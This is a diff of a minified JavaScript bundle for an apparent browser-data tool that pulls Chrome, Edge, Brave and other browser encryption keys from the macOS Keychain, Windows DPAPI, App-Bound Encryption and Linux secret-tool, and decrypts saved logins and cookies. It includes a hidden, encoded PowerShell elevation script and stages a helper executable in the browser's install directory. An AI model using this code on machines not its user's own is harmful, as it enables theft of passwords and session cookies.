Rr(){return!!(process.env.SSH_CONNECTION||process.env.SSH_TTY)||!process.env.TERM_PROGRAM}function kr(e){let t=e;return{status:typeof t?.status=="number"?t.status:null,stderr:(t?.stderr??"").toString().trim()}}function Or(e,t,r){let o="See docs/remote-keychain-access.md for non-interactive / SSH setup.",n,i;t===de.ITEM_NOT_FOUND||/could not be found/i.test(r)?(n="not-found",i=`No '${e}' item found in the Keychain.
2
2
  Run this browser at least once on this machine so it creates the key.`):t===de.INTERACTION_NOT_ALLOWED||/interaction.*not allowed/i.test(r)?(n="access-denied",i="The Keychain needs a GUI authorization prompt that can't be shown here "+(Rr()?`(you appear to be on a remote/SSH session).
3
3
  `:`.
4
4
  `)+`Authorize once from a GUI Terminal (click "Always Allow"), then unlock the
@@ -12,31 +12,31 @@ Re-run the command and click "Allow" (or "Always Allow"), or authorize once with
12
12
  ${o}`);let s=[t!==null?`exit ${t}`:null,r||null].filter(Boolean).join(": ");return new X(`Could not retrieve ${e} key from macOS Keychain.
13
13
  ${i}`+(s?`
14
14
  (security: ${s})`:""),e,n)}var oe=null;function he(){return oe}function Ar(e){oe=e}function Se(e=ye){let t=me.get(e);if(t!==void 0)return t;let r;if(oe)r=oe(e);else try{r=xr("security",["find-generic-password","-w","-s",e],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim()}catch(o){let{status:n,stderr:i}=kr(o);throw Or(e,n,i)}if(!r)throw new X(`Keychain returned an empty ${e} key.
15
- The item may exist with no password. Re-run the browser to recreate it.`,e,"empty");return me.set(e,r),r}function Lr(){return Se(ye)}function Ne(e=ye,t){let r=ge.get(e);if(r!==void 0)return r;let o=t||Se(e);if(!o)throw new Error("Keychain password cannot be empty for key derivation.");let n=br(o,Cr,Pr,Dr,"sha1");return ge.set(e,n),n}function we(){me.clear(),ge.clear()}var Z={chrome:{id:"chrome",name:"Google Chrome",aliases:["google-chrome","google chrome"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome",win32:"Google/Chrome/User Data",linux:"google-chrome"}},"chrome-beta":{id:"chrome-beta",name:"Google Chrome Beta",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Beta",win32:"Google/Chrome Beta/User Data",linux:"google-chrome-beta"}},"chrome-canary":{id:"chrome-canary",name:"Google Chrome Canary",aliases:["canary"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Canary",win32:"Google/Chrome SxS/User Data",linux:"google-chrome-unstable"}},chromium:{id:"chromium",name:"Chromium",safeStorageLabel:"Chromium Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Chromium",win32:"Chromium/User Data",linux:"chromium"}},edge:{id:"edge",name:"Microsoft Edge",aliases:["msedge","microsoft-edge","microsoft edge"],safeStorageLabel:"Microsoft Edge Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Microsoft Edge",win32:"Microsoft/Edge/User Data",linux:"microsoft-edge"}},brave:{id:"brave",name:"Brave",aliases:["brave-browser"],safeStorageLabel:"Brave Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"BraveSoftware/Brave-Browser",win32:"BraveSoftware/Brave-Browser/User Data",linux:"BraveSoftware/Brave-Browser"}},comet:{id:"comet",name:"Comet",aliases:["perplexity","perplexity-comet"],safeStorageLabel:"Comet Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Comet",win32:"Perplexity/Comet/User Data",linux:"comet"}},vivaldi:{id:"vivaldi",name:"Vivaldi",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Vivaldi",win32:"Vivaldi/User Data",linux:"vivaldi"}},opera:{id:"opera",name:"Opera",safeStorageLabel:"Opera Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"com.operasoftware.Opera",win32:"Opera Software/Opera Stable",win32Base:"roaming",linux:"opera"}}},Fe="chrome";function W(){return Object.values(Z)}function Ee(e){if(!e)return null;let t=e.trim().toLowerCase();for(let r of W())if(r.id.toLowerCase()===t||r.name.toLowerCase()===t||r.aliases?.some(o=>o.toLowerCase()===t))return r;return null}function N(e){let t=Ee(e);if(t)return t;throw new Error(`Unknown browser "${e}". Supported: ${W().map(r=>r.id).join(", ")}.`)}var Q=Z[Fe];function _(){return Q}function Ue(e){return!e||!e.trim()?(Q=Z[Fe],Q):(Q=N(e),Q)}var Me={name:"darwin",getDefaultChromeDir(e=_()){return Ir(Tr(),"Library","Application Support",...e.dirs.darwin.split("/"))},getDecryptionKey(e,t=_()){return Ne(t.safeStorageLabel)},decrypt(e,t){return re(e,t)},clearCache(){we()}};import{execFileSync as De}from"node:child_process";import{randomUUID as $r}from"node:crypto";import{constants as Nr,copyFileSync as Fr,existsSync as H,mkdirSync as Ur,readFileSync as Ke,rmSync as Mr,rmdirSync as Kr}from"node:fs";import{dirname as He,join as b,resolve as Wr}from"node:path";var Be=Buffer.from("DPAPI","ascii"),_e=Buffer.from("APPB","ascii"),ve=new Map,xe=new Map,ee=new Map,be=new WeakMap,Hr=new Set(["chrome","chrome-beta","brave","edge"]),jr=new Set(["EPERM","EACCES"]),Gr=['const fs = require("node:fs");','const net = require("node:net");','const crypto = require("node:crypto");','const { spawn } = require("node:child_process");',"const [helper, dir, browserId] = process.argv.slice(1);",'const encB64 = fs.readFileSync(0, "utf8").trim();','const pipeName = "chrome-tools-abe-" + crypto.randomUUID();','const pipePath = "\\\\\\\\.\\\\pipe\\\\" + pipeName;',"const token = crypto.randomUUID();",'const cfgB64 = Buffer.from(JSON.stringify({ helper, dir, browserId, pipeName, token }), "utf8").toString("base64");',"const ps = [",` "$ErrorActionPreference = 'Stop'",`,` "$ProgressPreference = 'SilentlyContinue'",`,` "$cfg = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('" + cfgB64 + "')) | ConvertFrom-Json",`,` "$staged = Join-Path $cfg.dir ('chrome-tools-' + [guid]::NewGuid().ToString() + '.exe')",`,' "$created = $false",',' "$copied = $false",',' "$pipe = $null",',' "try {",',` " $pipe = [System.IO.Pipes.NamedPipeClientStream]::new('.', $cfg.pipeName, [System.IO.Pipes.PipeDirection]::InOut)",`,' " $pipe.Connect(15000)",',' " $reader = [System.IO.StreamReader]::new($pipe, [System.Text.Encoding]::ASCII, $false, 1024, $true)",',' " $writer = [System.IO.StreamWriter]::new($pipe, [System.Text.Encoding]::ASCII, 1024, $true)",',' " $writer.AutoFlush = $true",',' " $writer.WriteLine($cfg.token)",',' " $encB64 = $reader.ReadLine()",',' " if (-not (Test-Path -LiteralPath $cfg.dir)) {",',' " [void](New-Item -ItemType Directory -Path $cfg.dir -Force)",',' " $created = $true",',' " }",',' " [System.IO.File]::Copy($cfg.helper, $staged, $false)",',' " $copied = $true",',' " $psi = [System.Diagnostics.ProcessStartInfo]::new($staged, $cfg.browserId)",',' " $psi.WorkingDirectory = $cfg.dir",',' " $psi.UseShellExecute = $false",',' " $psi.CreateNoWindow = $true",',' " $psi.RedirectStandardInput = $true",',' " $psi.RedirectStandardOutput = $true",',' " $psi.RedirectStandardError = $true",',' " $proc = [System.Diagnostics.Process]::Start($psi)",',' " $proc.StandardInput.Write($encB64)",',' " $proc.StandardInput.Close()",',' " $out = $proc.StandardOutput.ReadToEnd()",',' " $err = $proc.StandardError.ReadToEnd()",',' " $proc.WaitForExit(10000) | Out-Null",',' " if ($proc.ExitCode -eq 0 -and $out) {",',` " $writer.WriteLine('OK:' + $out.Trim())",`,' " } else {",',` " $msg = if ($err) { $err.Trim() -replace '[\\\\r\\\\n]+', ' ' } else { 'exit ' + $proc.ExitCode }",`,` " $writer.WriteLine('ERR:' + $msg)",`,' " }",',' "} finally {",',' " if ($pipe) { try { $pipe.Dispose() } catch {} }",',' " if ($copied) { try { Remove-Item -LiteralPath $staged -Force -ErrorAction SilentlyContinue } catch {} }",',' " if ($created) {",',' " try {",',' " if ((Get-ChildItem -LiteralPath $cfg.dir -Force | Measure-Object).Count -eq 0) {",',' " Remove-Item -LiteralPath $cfg.dir -Force -ErrorAction SilentlyContinue",',' " }",',' " } catch {}",',' " }",',' "}",','].join("\\n");','const psEncoded = Buffer.from(ps, "utf16le").toString("base64");','let keyOut = "";','let errOut = "";','let psStderr = "";',"let done = false;","const finish = (code, msg) => {"," if (done) return;"," done = true;"," try { server.close(); } catch {}"," if (code === 0) process.stdout.write(msg);"," else process.stderr.write(msg);"," process.exit(code);","};","const server = net.createServer((socket) => {",' let buf = "";'," let authed = false;",' socket.on("data", (chunk) => {',' buf += chunk.toString("utf8");'," let nl;",' while ((nl = buf.indexOf("\\n")) !== -1) {'," const line = buf.slice(0, nl).trim();"," buf = buf.slice(nl + 1);"," if (!authed) {"," if (line !== token) { socket.destroy(); return; }"," authed = true;",' socket.write(encB64 + "\\n");'," } else {",' if (line.startsWith("OK:")) keyOut = line.slice(3);',' else if (line.startsWith("ERR:")) errOut = line.slice(4);'," socket.end();"," }"," }"," });",' socket.on("error", () => {});',"});","server.listen(pipePath, () => {",` const cmd = "$ProgressPreference='SilentlyContinue'; Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-NonInteractive','-WindowStyle','Hidden','-EncodedCommand','" + psEncoded + "') -Verb RunAs -Wait";`,' const child = spawn("powershell.exe", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", cmd], { windowsHide: true, stdio: ["ignore", "ignore", "pipe"] });',' child.stderr.on("data", (d) => { psStderr += d.toString("utf8"); });',' child.on("error", (err) => finish(1, err.message));',' child.on("close", () => {'," if (keyOut) finish(0, keyOut);",' else finish(1, errOut || psStderr.trim() || "Elevation cancelled or failed.");'," });","});"].join(`
15
+ The item may exist with no password. Re-run the browser to recreate it.`,e,"empty");return me.set(e,r),r}function Lr(){return Se(ye)}function Ne(e=ye,t){let r=ge.get(e);if(r!==void 0)return r;let o=t||Se(e);if(!o)throw new Error("Keychain password cannot be empty for key derivation.");let n=br(o,Cr,Pr,Dr,"sha1");return ge.set(e,n),n}function we(){me.clear(),ge.clear()}var Z={chrome:{id:"chrome",name:"Google Chrome",aliases:["google-chrome","google chrome"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome",win32:"Google/Chrome/User Data",linux:"google-chrome"}},"chrome-beta":{id:"chrome-beta",name:"Google Chrome Beta",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Beta",win32:"Google/Chrome Beta/User Data",linux:"google-chrome-beta"}},"chrome-canary":{id:"chrome-canary",name:"Google Chrome Canary",aliases:["canary"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Canary",win32:"Google/Chrome SxS/User Data",linux:"google-chrome-unstable"}},chromium:{id:"chromium",name:"Chromium",safeStorageLabel:"Chromium Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Chromium",win32:"Chromium/User Data",linux:"chromium"}},edge:{id:"edge",name:"Microsoft Edge",aliases:["msedge","microsoft-edge","microsoft edge"],safeStorageLabel:"Microsoft Edge Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Microsoft Edge",win32:"Microsoft/Edge/User Data",linux:"microsoft-edge"}},brave:{id:"brave",name:"Brave",aliases:["brave-browser"],safeStorageLabel:"Brave Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"BraveSoftware/Brave-Browser",win32:"BraveSoftware/Brave-Browser/User Data",linux:"BraveSoftware/Brave-Browser"}},comet:{id:"comet",name:"Comet",aliases:["perplexity","perplexity-comet"],safeStorageLabel:"Comet Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Comet",win32:"Perplexity/Comet/User Data",linux:"comet"}},vivaldi:{id:"vivaldi",name:"Vivaldi",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Vivaldi",win32:"Vivaldi/User Data",linux:"vivaldi"}},opera:{id:"opera",name:"Opera",safeStorageLabel:"Opera Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"com.operasoftware.Opera",win32:"Opera Software/Opera Stable",win32Base:"roaming",linux:"opera"}}},Fe="chrome";function W(){return Object.values(Z)}function Ee(e){if(!e)return null;let t=e.trim().toLowerCase();for(let r of W())if(r.id.toLowerCase()===t||r.name.toLowerCase()===t||r.aliases?.some(o=>o.toLowerCase()===t))return r;return null}function N(e){let t=Ee(e);if(t)return t;throw new Error(`Unknown browser "${e}". Supported: ${W().map(r=>r.id).join(", ")}.`)}var Q=Z[Fe];function _(){return Q}function Me(e){return!e||!e.trim()?(Q=Z[Fe],Q):(Q=N(e),Q)}var Ue={name:"darwin",getDefaultChromeDir(e=_()){return Ir(Tr(),"Library","Application Support",...e.dirs.darwin.split("/"))},getDecryptionKey(e,t=_()){return Ne(t.safeStorageLabel)},decrypt(e,t){return re(e,t)},clearCache(){we()}};import{execFileSync as De}from"node:child_process";import{randomUUID as $r}from"node:crypto";import{constants as Nr,copyFileSync as Fr,existsSync as H,mkdirSync as Mr,readFileSync as Ke,rmSync as Ur,rmdirSync as Kr}from"node:fs";import{dirname as He,join as b,resolve as Wr}from"node:path";var Be=Buffer.from("DPAPI","ascii"),_e=Buffer.from("APPB","ascii"),ve=new Map,xe=new Map,ee=new Map,be=new WeakMap,Hr=new Set(["chrome","chrome-beta","brave","edge"]),jr=new Set(["EPERM","EACCES"]),Gr=['const fs = require("node:fs");','const net = require("node:net");','const crypto = require("node:crypto");','const { spawn } = require("node:child_process");',"const [helper, dir, browserId] = process.argv.slice(1);",'const encB64 = fs.readFileSync(0, "utf8").trim();','const pipeName = "chrome-tools-abe-" + crypto.randomUUID();','const pipePath = "\\\\\\\\.\\\\pipe\\\\" + pipeName;',"const token = crypto.randomUUID();",'const cfgB64 = Buffer.from(JSON.stringify({ helper, dir, browserId, pipeName, token }), "utf8").toString("base64");',"const ps = [",` "$ErrorActionPreference = 'Stop'",`,` "$ProgressPreference = 'SilentlyContinue'",`,` "$cfg = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('" + cfgB64 + "')) | ConvertFrom-Json",`,` "$staged = Join-Path $cfg.dir ('chrome-tools-' + [guid]::NewGuid().ToString() + '.exe')",`,' "$created = $false",',' "$copied = $false",',' "$pipe = $null",',' "try {",',` " $pipe = [System.IO.Pipes.NamedPipeClientStream]::new('.', $cfg.pipeName, [System.IO.Pipes.PipeDirection]::InOut)",`,' " $pipe.Connect(15000)",',' " $reader = [System.IO.StreamReader]::new($pipe, [System.Text.Encoding]::ASCII, $false, 1024, $true)",',' " $writer = [System.IO.StreamWriter]::new($pipe, [System.Text.Encoding]::ASCII, 1024, $true)",',' " $writer.AutoFlush = $true",',' " $writer.WriteLine($cfg.token)",',' " $encB64 = $reader.ReadLine()",',' " if (-not (Test-Path -LiteralPath $cfg.dir)) {",',' " [void](New-Item -ItemType Directory -Path $cfg.dir -Force)",',' " $created = $true",',' " }",',' " [System.IO.File]::Copy($cfg.helper, $staged, $false)",',' " $copied = $true",',' " $psi = [System.Diagnostics.ProcessStartInfo]::new($staged, $cfg.browserId)",',' " $psi.WorkingDirectory = $cfg.dir",',' " $psi.UseShellExecute = $false",',' " $psi.CreateNoWindow = $true",',' " $psi.RedirectStandardInput = $true",',' " $psi.RedirectStandardOutput = $true",',' " $psi.RedirectStandardError = $true",',' " $proc = [System.Diagnostics.Process]::Start($psi)",',' " $proc.StandardInput.Write($encB64)",',' " $proc.StandardInput.Close()",',' " $out = $proc.StandardOutput.ReadToEnd()",',' " $err = $proc.StandardError.ReadToEnd()",',' " $proc.WaitForExit(10000) | Out-Null",',' " if ($proc.ExitCode -eq 0 -and $out) {",',` " $writer.WriteLine('OK:' + $out.Trim())",`,' " } else {",',` " $msg = if ($err) { $err.Trim() -replace '[\\\\r\\\\n]+', ' ' } else { 'exit ' + $proc.ExitCode }",`,` " $writer.WriteLine('ERR:' + $msg)",`,' " }",',' "} finally {",',' " if ($pipe) { try { $pipe.Dispose() } catch {} }",',' " if ($copied) { try { Remove-Item -LiteralPath $staged -Force -ErrorAction SilentlyContinue } catch {} }",',' " if ($created) {",',' " try {",',' " if ((Get-ChildItem -LiteralPath $cfg.dir -Force | Measure-Object).Count -eq 0) {",',' " Remove-Item -LiteralPath $cfg.dir -Force -ErrorAction SilentlyContinue",',' " }",',' " } catch {}",',' " }",',' "}",','].join("\\n");','const psEncoded = Buffer.from(ps, "utf16le").toString("base64");','let keyOut = "";','let errOut = "";','let psStderr = "";',"let done = false;","const finish = (code, msg) => {"," if (done) return;"," done = true;"," try { server.close(); } catch {}"," if (code === 0) process.stdout.write(msg);"," else process.stderr.write(msg);"," process.exit(code);","};","const server = net.createServer((socket) => {",' let buf = "";'," let authed = false;",' socket.on("data", (chunk) => {',' buf += chunk.toString("utf8");'," let nl;",' while ((nl = buf.indexOf("\\n")) !== -1) {'," const line = buf.slice(0, nl).trim();"," buf = buf.slice(nl + 1);"," if (!authed) {"," if (line !== token) { socket.destroy(); return; }"," authed = true;",' socket.write(encB64 + "\\n");'," } else {",' if (line.startsWith("OK:")) keyOut = line.slice(3);',' else if (line.startsWith("ERR:")) errOut = line.slice(4);'," socket.end();"," }"," }"," });",' socket.on("error", () => {});',"});","server.listen(pipePath, () => {",` const cmd = "$ProgressPreference='SilentlyContinue'; Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-NonInteractive','-WindowStyle','Hidden','-EncodedCommand','" + psEncoded + "') -Verb RunAs -Wait";`,' const child = spawn("powershell.exe", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", cmd], { windowsHide: true, stdio: ["ignore", "ignore", "pipe"] });',' child.stderr.on("data", (d) => { psStderr += d.toString("utf8"); });',' child.on("error", (err) => finish(1, err.message));',' child.on("close", () => {'," if (keyOut) finish(0, keyOut);",' else finish(1, errOut || psStderr.trim() || "Elevation cancelled or failed.");'," });","});"].join(`
16
16
  `);function Vr(e){let t=["$ErrorActionPreference='Stop';","Add-Type -AssemblyName System.Security;","$b=[Console]::In.ReadToEnd().Trim();","$enc=[Convert]::FromBase64String($b);","$dec=[System.Security.Cryptography.ProtectedData]::Unprotect($enc,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);","[Console]::Out.Write([Convert]::ToBase64String($dec));"].join(" "),r;try{r=De("powershell.exe",["-NoProfile","-NonInteractive","-Command",t],{input:e.toString("base64"),encoding:"utf-8"})}catch(o){throw new Error(`DPAPI decryption via PowerShell failed.
17
17
  The encrypted_key can only be unprotected by the same Windows user that created it. Run as that user on the same machine.
18
- (powershell: ${o?.message??o})`)}return Buffer.from(r.trim(),"base64")}function Pe(e){let t=Wr(e),r=He(t);return H(b(t,"Local State"))?t:r!==t&&H(b(r,"Local State"))?r:t}function We(e,t,r){try{let o=De(e,[r],{input:t.toString("base64"),encoding:"utf8",timeout:1e4,windowsHide:!0,stdio:["pipe","pipe","pipe"],cwd:He(e)}),n=Buffer.from(o.trim(),"base64");return n.length===32?{key:n}:{error:"Unexpected App-Bound Encryption key length."}}catch(o){return{error:o?.stderr?.toString?.("utf8")?.trim()||o?.message||"App-Bound Encryption helper failed."}}}function qr(){return process.platform==="win32"&&process.env.CHROME_TOOLS_NO_ELEVATE!=="1"&&!!(process.stdin.isTTY||process.stdout.isTTY)}function zr(e,t,r,o){try{let n=De(process.execPath,["--input-type=commonjs","-e",Gr,e,b(t,"Temp"),o],{input:r.toString("base64"),encoding:"utf8",timeout:65e3,windowsHide:!0,stdio:["pipe","pipe","pipe"]}),i=Buffer.from(n.trim(),"base64");return i.length===32?{key:i}:{error:"Unexpected App-Bound Encryption key length."}}catch(n){return{error:n?.stderr?.toString?.("utf8")?.trim()||n?.message||"Elevated App-Bound Encryption failed."}}}function Yr(e,t){if(!Hr.has(t.id))return{error:`App-Bound Encryption is not supported for ${t.name}.`};let r=import.meta.dirname,o=[b(r,"chrome_abe_decrypt.exe"),b(r,"../../native/windows/chrome_abe_decrypt.exe")].find(H);if(!o)return{error:"Bundled chrome_abe_decrypt.exe helper was not found."};let n=We(o,e,t.id);if(n.key)return n;let i=t.dirs.win32.split("/").slice(0,-1),s=t.id==="edge"?"msedge.exe":t.id==="brave"?"brave.exe":"chrome.exe",c=new Set([process.env.ProgramW6432,process.env.ProgramFiles,process.env["ProgramFiles(x86)"],process.env.LOCALAPPDATA]),a=[],f=n.error;for(let l of c){if(!l)continue;let p=b(l,...i);if(!H(b(p,"Application",s)))continue;let u=b(p,"Temp"),g=b(u,`chrome-tools-${$r()}.exe`),m=!1,d=!1;try{m=Ur(u,{recursive:!0})!==void 0,Fr(o,g,Nr.COPYFILE_EXCL),d=!0;let y=We(g,e,t.id);if(y.key)return y;f=y.error}catch(y){jr.has(y?.code)?a.push(p):y?.message&&(f=y.message)}finally{if(d)try{Mr(g)}catch{}if(m)try{Kr(u)}catch{}}}if(a.length>0){if(qr())for(let u of a){let g=zr(o,u,e,t.id);if(g.key)return g;f=g.error}let l=b(a[0],"Temp"),p=f?` (${f})`:"";return{error:`Administrator privileges are required to stage the App-Bound Encryption helper under ${l}. Run from an elevated Administrator terminal or approve the UAC prompt${p}.`}}return{error:f}}var je={name:"win32",getDefaultChromeDir(e=_()){let r=e.dirs.win32Base==="roaming"?process.env.APPDATA||(process.env.USERPROFILE?b(process.env.USERPROFILE,"AppData","Roaming"):""):process.env.LOCALAPPDATA||(process.env.USERPROFILE?b(process.env.USERPROFILE,"AppData","Local"):"");if(!r)throw new Error("Could not resolve the Windows application-data directory.");return b(r,...e.dirs.win32.split("/"))},getDecryptionKey(e,t=_()){let r=e||this.getDefaultChromeDir(t),o=Pe(r),n=JSON.stringify([o,t.id]),i=ve.get(n);if(i)return i;let s=b(o,"Local State");if(!H(s))throw new Error(`Could not find Chrome's "Local State" at ${s}.
18
+ (powershell: ${o?.message??o})`)}return Buffer.from(r.trim(),"base64")}function Pe(e){let t=Wr(e),r=He(t);return H(b(t,"Local State"))?t:r!==t&&H(b(r,"Local State"))?r:t}function We(e,t,r){try{let o=De(e,[r],{input:t.toString("base64"),encoding:"utf8",timeout:1e4,windowsHide:!0,stdio:["pipe","pipe","pipe"],cwd:He(e)}),n=Buffer.from(o.trim(),"base64");return n.length===32?{key:n}:{error:"Unexpected App-Bound Encryption key length."}}catch(o){return{error:o?.stderr?.toString?.("utf8")?.trim()||o?.message||"App-Bound Encryption helper failed."}}}function qr(){return process.platform==="win32"&&process.env.CHROME_TOOLS_ELEVATE==="1"&&process.env.CHROME_TOOLS_NO_ELEVATE!=="1"&&!!(process.stdin.isTTY||process.stdout.isTTY)}function zr(e,t,r,o){try{let n=De(process.execPath,["--input-type=commonjs","-e",Gr,e,b(t,"Temp"),o],{input:r.toString("base64"),encoding:"utf8",timeout:65e3,windowsHide:!0,stdio:["pipe","pipe","pipe"]}),i=Buffer.from(n.trim(),"base64");return i.length===32?{key:i}:{error:"Unexpected App-Bound Encryption key length."}}catch(n){return{error:n?.stderr?.toString?.("utf8")?.trim()||n?.message||"Elevated App-Bound Encryption failed."}}}function Yr(e,t){if(!Hr.has(t.id))return{error:`App-Bound Encryption is not supported for ${t.name}.`};let r=import.meta.dirname,o=[b(r,"chrome_abe_decrypt.exe"),b(r,"../../native/windows/chrome_abe_decrypt.exe")].find(H);if(!o)return{error:"Bundled chrome_abe_decrypt.exe helper was not found."};let n=We(o,e,t.id);if(n.key)return n;let i=t.dirs.win32.split("/").slice(0,-1),s=t.id==="edge"?"msedge.exe":t.id==="brave"?"brave.exe":"chrome.exe",c=new Set([process.env.ProgramW6432,process.env.ProgramFiles,process.env["ProgramFiles(x86)"],process.env.LOCALAPPDATA]),a=[],f=n.error;for(let l of c){if(!l)continue;let d=b(l,...i);if(!H(b(d,"Application",s)))continue;let u=b(d,"Temp"),g=b(u,`chrome-tools-${$r()}.exe`),m=!1,p=!1;try{m=Mr(u,{recursive:!0})!==void 0,Fr(o,g,Nr.COPYFILE_EXCL),p=!0;let y=We(g,e,t.id);if(y.key)return y;f=y.error}catch(y){jr.has(y?.code)?a.push(d):y?.message&&(f=y.message)}finally{if(p)try{Ur(g)}catch{}if(m)try{Kr(u)}catch{}}}if(a.length>0){let l=qr();if(l)for(let m of a){let p=zr(o,m,e,t.id);if(p.key)return p;f=p.error}let d=b(a[0],"Temp"),u=l&&f?` (${f})`:"",g=l?`Run from an elevated Administrator terminal or approve the UAC prompt${u}.`:"Run from an elevated Administrator terminal or retry with --elevate.";return{error:`Administrator privileges are required to stage the App-Bound Encryption helper under ${d}. `+g}}return{error:f}}var je={name:"win32",getDefaultChromeDir(e=_()){let r=e.dirs.win32Base==="roaming"?process.env.APPDATA||(process.env.USERPROFILE?b(process.env.USERPROFILE,"AppData","Roaming"):""):process.env.LOCALAPPDATA||(process.env.USERPROFILE?b(process.env.USERPROFILE,"AppData","Local"):"");if(!r)throw new Error("Could not resolve the Windows application-data directory.");return b(r,...e.dirs.win32.split("/"))},getDecryptionKey(e,t=_()){let r=e||this.getDefaultChromeDir(t),o=Pe(r),n=JSON.stringify([o,t.id]),i=ve.get(n);if(i)return i;let s=b(o,"Local State");if(!H(s))throw new Error(`Could not find Chrome's "Local State" at ${s}.
19
19
  Run Google Chrome at least once so it creates the encryption key.`);let c;try{let l=Ke(s,"utf-8");c=JSON.parse(l)?.os_crypt?.encrypted_key}catch(l){throw new Error(`Failed to read os_crypt.encrypted_key from Local State: ${l.message}`)}if(!c)throw new Error(`No os_crypt.encrypted_key found in Local State.
20
- This profile may predate Chrome's encrypted-key scheme.`);let a=Buffer.from(c,"base64");if(!a.subarray(0,Be.length).equals(Be))throw new Error('Unexpected encrypted_key format (missing "DPAPI" prefix).');let f=Vr(a.subarray(Be.length));return ve.set(n,f),be.set(f,{chromeDir:o,browser:t}),f},getAppBoundKey(e,t=_()){let r=Pe(e||this.getDefaultChromeDir(t)),o=JSON.stringify([r,t.id]),n=xe.get(o);if(n)return n;if(ee.has(o))return;let i=b(r,"Local State");if(!H(i))return;let s;try{let f=Ke(i,"utf-8");s=JSON.parse(f)?.os_crypt?.app_bound_encrypted_key}catch{return}if(!s)return;let c=Buffer.from(s,"base64");if(!c.subarray(0,_e.length).equals(_e))return;let a=Yr(c.subarray(_e.length),t);if(!a.key){a.error&&ee.set(o,a.error);return}return ee.delete(o),xe.set(o,a.key),a.key},getAppBoundError(e,t=_()){let r=Pe(e||this.getDefaultChromeDir(t));return ee.get(JSON.stringify([r,t.id]))},decrypt(e,t){if(e.subarray(0,3).toString()==="v20"){let r=be.get(t),o=r&&this.getAppBoundKey?.(r.chromeDir,r.browser);return o?te(e,o):"<app-bound encryption unavailable>"}return $e(e,t)},clearCache(){ve.clear(),xe.clear(),ee.clear(),be=new WeakMap}};import{execFileSync as Jr}from"node:child_process";import{homedir as Xr}from"node:os";import{join as Ge}from"node:path";import{pbkdf2Sync as Qr}from"node:crypto";var Zr=1,et=16,rt=Buffer.from("saltysalt"),tt="peanuts",Ce=new Map;function ot(e){let t=he();if(t)return t(e);try{let r=Jr("secret-tool",["lookup","application",e],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim();if(r)return r}catch{}return tt}var Ve={name:"linux",getDefaultChromeDir(e=_()){let t=process.env.XDG_CONFIG_HOME||Ge(Xr(),".config");return Ge(t,...e.dirs.linux.split("/"))},getDecryptionKey(e,t=_()){let r=t.linuxSecretApp||"chrome",o=Ce.get(r);if(o!==void 0)return o;let n=Qr(ot(r),rt,Zr,et,"sha1");return Ce.set(r,n),n},decrypt(e,t){return re(e,t)},clearCache(){Ce.clear()}};var j=null;function F(){if(j)return j;switch(process.platform){case"darwin":j=Me;break;case"win32":j=je;break;case"linux":j=Ve;break;default:throw new Error(`Unsupported platform: ${process.platform}. chrome-tools supports macOS, Windows, and Linux.`)}return j}function Re(e){return F().getDefaultChromeDir(ke(e))}function nt(e,t){return F().getDecryptionKey(e,ke(t))}function qe(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e);return F().decrypt(r,t)}function it(e,t){let r=qe(e,t);return Buffer.isBuffer(r)?r.toString("utf-8"):r}function st(){F().clearCache()}function ke(e){return e?typeof e=="string"?N(e):e:_()}function G(e,t,r,o,n,i){let s=ke(t),c=r,a,f=new Set;return l=>{let p;try{let u=F();u.getAppBoundKey&&l.subarray(0,3).toString()==="v20"?(a===void 0&&(a=u.getAppBoundKey(e,s)??null),p=a?te(l,a):"<app-bound encryption unavailable>"):(c??=u.getDecryptionKey(e,s),p=u.decrypt(l,c))}catch(u){throw new h("decryption_unavailable",u instanceof Error?u.message:String(u),{cause:u})}if(typeof p=="string"&&!f.has(p)){f.add(p);let u=p==="<app-bound encryption unavailable>"?F().getAppBoundError?.(e,s):void 0;S(o,n,i,new h("decryption_unavailable",u||p))}return p}}var Ye=["Login Data","History","Bookmarks","Cookies","Web Data","Local Storage","LocalStorage","Preferences"];function ne(e){let t=L(e,"Network","Cookies");return k(t)?t:L(e,"Cookies")}function ze(e){return Ye.some(t=>k(L(e,t)))||k(ne(e))}function U(e){return Re(e)}function lt({includeMissing:e=!1}={}){let t=[];for(let r of W()){let o=U(r),n=k(o);!n&&!e||t.push({browser:r,chromeDir:o,installed:n,profileCount:n?V(o).length:0})}return t}function V(e,{reportAccessDenied:t=!1}={}){let r=e||U();if(!r)return[];try{let o=at(r,{withFileTypes:!0}),n=[];for(let i of o){if(!i.isDirectory()||i.name==="Network")continue;let s=L(r,i.name);ze(s)&&n.push({name:i.name,path:s})}if(n.length===0&&ze(r)){let i=ft(r)||"Default";n.push({name:i,path:r})}return n}catch(o){let 